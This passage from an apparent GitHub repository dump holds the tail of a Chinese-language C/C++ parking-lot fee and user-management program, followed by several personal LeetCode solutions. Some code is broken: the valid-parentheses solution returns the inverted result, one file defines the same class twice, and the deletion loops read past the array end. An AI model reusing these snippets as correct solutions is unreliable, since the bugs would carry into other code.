\r\n\t\t\t\t{\r\n\t\t\t\t\tif(vo<user[i].valid)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\telse \r\n\t\t\t\t\t{ // 如果超过截止期，用出场日期到截止期的time差计费，如果另一辆车未进入，直接删除该用户，否则暂时保留\r\n\r\n\t\t\t\t\t\tpay=fee(user[i].valid,0,vo,hoursout);\r\n\t\t\t\t\t\tif(strcmp(user[i].car2in,\"无车辆\")==0 || strcmp(user[i].car2in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\t\r\n\t\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\t\tprintf(\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t};\r\n\t\t\t\t}\r\n\t\t\t\telse if(strcmp(user[i].car1in,\"vip\")!=0) // 对于非vip状态的用户，直接利用 time差 计费\r\n\t\t\t\t{\r\n\t\t\t\t\tstrncpy(timi,user[i].car1in+2,6);\r\n\t\t\t\t\tstrncpy(hourin,user[i].car1in+8,4);\r\n\t\t\t\t\tvi=atol(timi);\r\n\t\t\t\t\thoursin=atoi(hourin);\r\n\t\t\t\t\tpay=fee(vi,hoursin,vo,hoursout);\r\n\r\n\t\t\t\t\tif(vo<user[i].valid)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(strcmp(user[i].car2in,\"无车辆\")==0 || strcmp(user[i].car2in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\telse if(tag==2)\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[i].car2in,\"vip\")==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(vo<user[i].valid)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tpay=fee(user[i].valid,0,vo,hoursout);\r\n\t\t\t\t\t\tif(strcmp(user[i].car1in,\"无车辆\")==0 || strcmp(user[i].car1in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\t\r\n\t\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\t\tprintf(\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t};\r\n\t\t\t\t}\r\n\t\t\t\telse if(strcmp(user[i].car2in,\"vip\")!=0)\r\n\t\t\t\t{\r\n\t\t\t\t\tstrncpy(timi,user[i].car2in+2,6);\r\n\t\t\t\t\tstrncpy(hourin,user[i].car2in+8,4);\r\n\t\t\t\t\tvi=atol(timi);\r\n\t\t\t\t\thoursin=atoi(hourin);\r\n\t\t\t\t\tpay=fee(vi,hoursin,vo,hoursout);\r\n\r\n\t\t\t\t\tif(vo<user[i].valid)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(strcmp(user[i].car1in,\"无车辆\")==0 || strcmp(user[i].car1in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\t\r\n\t\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\telse if(strcmp(user[i].card,\"time\")==0) // 次卡未用完，操作同年卡\r\n\t\t{\r\n\t\t\tif(tag==1)\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[i].car1in,\"vip\")==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(user[i].valid==1)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(strcmp(user[i].car2in,\"无车辆\")==0 || strcmp(user[i].car2in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tuser[i].valid=user[i].valid-1;\r\n\t\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\t\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tuser[i].valid=user[i].valid-1;\r\n\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\telse if(strcmp(user[i].car1in,\"vip\")!=0)\r\n\t\t\t\t{\r\n\t\t\t\t\tstrncpy(timi,user[i].car1in+2,6);\r\n\t\t\t\t\tstrncpy(hourin,user[i].car1in+8,4);\r\n\t\t\t\t\tvi=atol(timi);\r\n\t\t\t\t\thoursin=atoi(hourin);\r\n\t\t\t\t\tpay=fee(vi,hoursin,vo,hoursout);\r\n\t\t\t\t\tif(user[i].valid==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\telse if(tag==2)\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[i].car2in,\"vip\")==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(user[i].valid==1)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(strcmp(user[i].car1in,\"无车辆\")==0 || strcmp(user[i].car1in,\"车辆未进场\")==0)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tuser[i].valid=user[i].valid-1;\r\n\t\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tuser[i].valid=user[i].valid-1;\r\n\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t\telse if(strcmp(user[i].car2in,\"vip\")!=0)\r\n\t\t\t\t{\r\n\t\t\t\t\tstrncpy(timi,user[i].car2in+2,6);\r\n\t\t\t\t\tstrncpy(hourin,user[i].car2in+8,4);\r\n\t\t\t\t\tvi=atol(timi);\r\n\t\t\t\t\thoursin=atoi(hourin);\r\n\t\t\t\t\tpay=fee(vi,hoursin,vo,hoursout);\r\n\r\n\t\t\t\t\tif(user[i].valid==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t\tm=m-1;\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\t\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\t\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\telse if(strcmp(user[i].card,\"temp\")==0)\r\n\t\t{\r\n\t\t\tstrncpy(timi,user[i].car1in+2,6);\r\n\t\t\tstrncpy(hourin,user[i].car1in+8,4);\r\n\t\t\tvi=atol(timi);\r\n\t\t\thoursin=atoi(hourin);\r\n\t\t\tpay=fee(vi,hoursin,vo,hoursout);\r\n\r\n\t\t\tfor(j=i;j<m;j++) //删除过期用户\r\n\t\t\t{\r\n\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t};\r\n\t\t\tm=m-1;\r\n\t\t\tprintf(\"您需要缴纳的费用为：%ld\\n\",pay);\r\n\t\t\tprintf(\"祝您一路顺风！\");\r\n\t\t}\r\n\t\tsave(m);\r\n\t}\r\n\telse\r\n\t\tprintf(\"未查找到该车辆！\");\r\n};\r\n\r\nbool cmp_id(USER a,USER b){return strcmp(a.id,b.id)<0;}\r\nbool cmp_card(USER a,USER b){return strcmp(a.card,b.card)<0;}\r\nbool cmp_v(USER a,USER b){return a.valid<b.valid;}\r\nbool cmp_car(USER a,USER b){return strcmp(a.carid1,b.carid1)<0;}\r\nbool cmp_in(USER a,USER b){return strcmp(a.car1in,b.car1in)<0;}\r\n\r\nvoid sort(){\r\n\tFILE* fp;\r\n\tint m=load();\r\n\tint i,j,k,s1,s2,flag;\r\n\tdo\r\n\t{\r\n\t\tprintf(\"1.用户ID 2.卡类型 3.有效日期/有效次数 4.车牌号 5.入场时间 6.放弃排序\\n\");\r\n\t printf(\"您要对那种字段排序？请输入其对应的代号：\");\r\n\t scanf(\"%d\",&s1);\r\n\t if(s1<1 || s1>6)\r\n\t\t{\r\n\t\t\tprintf(\"输入不合法，请重新输入：\");\r\n\t\t\tscanf(\"%d\",&s1);\r\n\t\t\tflag=0;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}while(!flag);\r\n\r\n\tswitch(s1)\r\n\t{\r\n\tcase 1: // 按id排序\r\n\t\tstd::sort(user,user+m,cmp_id);\r\n\t\tbreak;\r\n\tcase 2: //按卡类型排序\r\n\t\tstd::sort(user,user+m,cmp_card);\r\n\t\tbreak;\r\n\tcase 3: //按有效期排序\r\n\t\tstd::sort(user,user+m,cmp_v);\r\n\t\tbreak;\r\n\tcase 4: // 按车牌号排序\r\n\t\tstd::sort(user,user+m,cmp_car);\r\n\t\tbreak;\r\n\tcase 5: // 按入场时间排序\r\n\t\tstd::sort(user,user+m,cmp_in);\r\n\t\tbreak;\r\n\tdefault:return;\r\n\t}\r\n\tprintf(\"降序排列选择1，升序排列选择2：\");\r\n\tscanf(\"%d\",&s2);\r\n\tif(s2==1)\r\n\t{\r\n\t\tfor(i=m-1;i>=0;i--){\r\n\t\t\tprintf(\"\\t%s,\\t%s,\\t%d,\\t%s,\\t%s,\\t%s,\\t%s\\n\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\r\n\t\t}\r\n\t}\r\n\telse if(s2==2)\r\n\t{\r\n\t\tfor(i=0;i<m;i++)\r\n\t\t\tprintf(\"\\t%s,\\t%s,\\t%d,\\t%s,\\t%s,\\t%s,\\t%s\\n\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\r\n\t};\r\n};\r\n\r\n\r\n"},{"alpha_fraction":0.5014641284942627,"alphanum_fraction":0.5065885782241821,"avg_line_length":24.30769157409668,"blob_id":"9763e12cee4897f6caa7391a59f669ebb85657a4","content_id":"210156a721f0d350e7f36d5f1f99742cb86294ac","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1384,"license_type":"no_license","max_line_length":90,"num_lines":52,"path":"/leetcode/leetcode938.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 938. 二叉搜索树的范围和\r\n\r\nstruct TreeNode {\r\n int val;\r\n TreeNode *left;\r\n TreeNode *right;\r\n TreeNode() : val(0), left(nullptr), right(nullptr) {}\r\n TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}\r\n TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}\r\n};\r\n\r\nclass Solution {\r\npublic:\r\n void midOrder(TreeNode *root,vector<int> &res){\r\n if(!root) return;\r\n midOrder(root->left, res);\r\n res.push_back(root->val);\r\n midOrder(root->right, res);\r\n }\r\n int rangeSumBST(TreeNode* root, int low, int high) {\r\n int cnt = 0;\r\n vector<int> vec;\r\n midOrder(root,vec);\r\n for(int i = 0; i < vec.size() && vec[i] <= high; i++){\r\n if(vec[i] >= low){\r\n cnt += vec[i];\r\n }\r\n }\r\n return cnt;\r\n }\r\n};\r\n\r\nclass Solution {\r\npublic:\r\n int cnt = 0, l, h;\r\n void midOrder(TreeNode *root){\r\n if(!root) return;\r\n midOrder(root->left);\r\n if(root->val >= l && root->val <= h){\r\n cnt += root->val;\r\n } else if(root->val > h) return;\r\n midOrder(root->right);\r\n }\r\n int rangeSumBST(TreeNode* root, int low, int high) {\r\n l = low, h = high;\r\n midOrder(root);\r\n return cnt;\r\n }\r\n};"},{"alpha_fraction":0.4268292784690857,"alphanum_fraction":0.4481707215309143,"avg_line_length":18.625,"blob_id":"04746ccc57a770036d9337946a961c2a595117b9","content_id":"344e53b55392be5e4ab1aa67bfb7ceefea54c8dc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":338,"license_type":"no_license","max_line_length":41,"num_lines":16,"path":"/leetcode/leetcode344.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 344. 反转字符串\r\n\r\nclass Solution {\r\npublic:\r\n void reverseString(vector<char>& s) {\r\n int size = s.size();\r\n for(int i = 0; i < size/2; i++){\r\n char c = s[i];\r\n s[i] = s[size-i-1];\r\n s[size-i-1] = c;\r\n }\r\n }\r\n};"},{"alpha_fraction":0.3904418349266052,"alphanum_fraction":0.4138863980770111,"avg_line_length":24.404762268066406,"blob_id":"4854f761625a9da358d54847eb0e18eca7d0e91f","content_id":"7c84e2a4cbc6872e5b4a2562be681f28c1591610","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1117,"license_type":"no_license","max_line_length":59,"num_lines":42,"path":"/leetcode/leetcode2.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 2.两数相加\r\n\r\nstruct ListNode {\r\n int val;\r\n ListNode *next;\r\n ListNode() : val(0), next(nullptr) {}\r\n ListNode(int x) : val(x), next(nullptr) {}\r\n ListNode(int x, ListNode *next) : val(x), next(next) {}\r\n};\r\n\r\nclass Solution {\r\npublic:\r\n ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {\r\n ListNode *head = nullptr, *temp = head;\r\n int carry = 0, sum = 0;\r\n while(l1 != nullptr || l2 != nullptr || carry == 1)\r\n {\r\n if(l1 != nullptr){\r\n sum += l1->val;\r\n l1 = l1->next;\r\n }\r\n if(l2 != nullptr){\r\n sum += l2->val;\r\n l2 = l2->next;\r\n }\r\n sum += carry;\r\n if(!head) {\r\n head = temp = new ListNode(sum%10);\r\n carry = sum/10;\r\n } else {\r\n temp->next = new ListNode(sum%10);\r\n carry = sum/10;\r\n temp = temp->next;\r\n }\r\n sum = 0;\r\n }\r\n return head;\r\n }\r\n};\r\n"},{"alpha_fraction":0.41961851716041565,"alphanum_fraction":0.4291553199291229,"avg_line_length":25.259260177612305,"blob_id":"4d50bacb15da514d08ed2bb375c2fd24a3c0ca80","content_id":"5549e2b4d8771803bc6752e059814bad39b9f973","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":746,"license_type":"no_license","max_line_length":72,"num_lines":27,"path":"/leetcode/leetcode819.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 819. 最常见的单词\r\n\r\nclass Solution {\r\npublic:\r\n string mostCommonWord(string paragraph, vector<string>& banned) {\r\n unordered_map<string,int>mp,ban;\r\n string res, tmp;\r\n int cnt = 0;\r\n for(int i = 0; i < banned.size(); i++){\r\n ban[banned[i]]++;\r\n }\r\n for(int i = 0; i <= paragraph.size(); i++){\r\n while(isalpha(paragraph[i])) tmp += tolower(paragraph[i++]);\r\n if(ban[tmp] != 1 && tmp != \"\"){\r\n if(cnt < ++mp[tmp]){\r\n cnt = mp[tmp];\r\n res = tmp;\r\n }\r\n }\r\n tmp.clear();\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.3715847134590149,"alphanum_fraction":0.3846994638442993,"avg_line_length":25.787878036499023,"blob_id":"9ad0bfc88e48acd22bfa1b88a14593156b614b24","content_id":"319d2544e5a22b6f77703d17786e93256f35b940","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":931,"license_type":"no_license","max_line_length":66,"num_lines":33,"path":"/leetcode/leetcode16.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 16.最接近的三数之和\r\n\r\nclass Solution {\r\npublic:\r\n int threeSumClosest(vector<int>& nums, int target) {\r\n int res = 20000;\r\n sort(nums.begin(), nums.end());\r\n int i = 0;\r\n while (i < nums.size())\r\n {\r\n int left = i+1, right = nums.size()-1;\r\n while(left < right)\r\n {\r\n int temp = nums[i] + nums[left] + nums[right];\r\n if(abs(temp-target) < abs(res-target)){\r\n res = temp;\r\n }\r\n if(temp == target){\r\n i = nums.size();\r\n break;\r\n } else if(temp > target){\r\n right--;\r\n } else left++;\r\n }\r\n while(i < nums.size()-2 && nums[i] == nums[i+1]){i++;}\r\n i++;\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.4316239356994629,"alphanum_fraction":0.44871795177459717,"avg_line_length":22.736841201782227,"blob_id":"684034e1811754607e34254aaf89f46f29183b6c","content_id":"0ce763531aba0f3686fe139e8e9b8d827be5609a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":486,"license_type":"no_license","max_line_length":46,"num_lines":19,"path":"/leetcode/leetcode657.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 657. 机器人能否返回原点\r\n\r\nclass Solution {\r\npublic:\r\n bool judgeCircle(string moves) {\r\n int row = 0, col = 0;\r\n for(int i = 0; i < moves.size(); i++){\r\n if(moves[i] == 'R') row++;\r\n else if(moves[i] == 'L') row--;\r\n else if(moves[i] == 'U') col++;\r\n else col--;\r\n }\r\n if(row == 0 && col == 0) return true;\r\n return false;\r\n }\r\n};"},{"alpha_fraction":0.3288690447807312,"alphanum_fraction":0.3333333432674408,"avg_line_length":24.39215660095215,"blob_id":"d533ac1d644d8329ed3ac5e5a26b650146c86736","content_id":"ce0aea992e93d7cba1892090995bbff5ec7ad589","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1354,"license_type":"no_license","max_line_length":65,"num_lines":51,"path":"/leetcode/leetcode20.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 20. 有效的括号\r\n\r\nclass Solution {\r\npublic:\r\n bool isValid(string s) {\r\n stack<char> stk;\r\n stk.push(s[0]);\r\n for(int i = 1;i < s.length();i++){\r\n if(!stk.empty() && check(stk.top(), s[i])) stk.pop();\r\n else stk.push(s[i]);\r\n }\r\n if(!stk.empty()) return true;\r\n else return false;\r\n\r\n }\r\n bool check(char a, char b){\r\n if(a == '(' && b ==')') return true;\r\n else if(a == '[' && b == ']') return true;\r\n else if(a == '{' && b == '}') return true;\r\n else return false;\r\n }\r\n};\r\n\r\n// class Solution {\r\n// public:\r\n// bool isValid(string s) {\r\n// if(s.size()==0)return true;\r\n// stack<char>s_;\r\n// int i=0;\r\n// while(s[i]){\r\n// if(!s_.empty()){\r\n// char a=s_.top();\r\n// if(s[i]==')'&&a=='(')\r\n// s_.pop();\r\n// else if(s[i]=='}'&&a=='{')\r\n// s_.pop();\r\n// else if(s[i]==']'&&a=='[')\r\n// s_.pop();\r\n// else\r\n// s_.push(s[i]);\r\n// }\r\n// else\r\n// 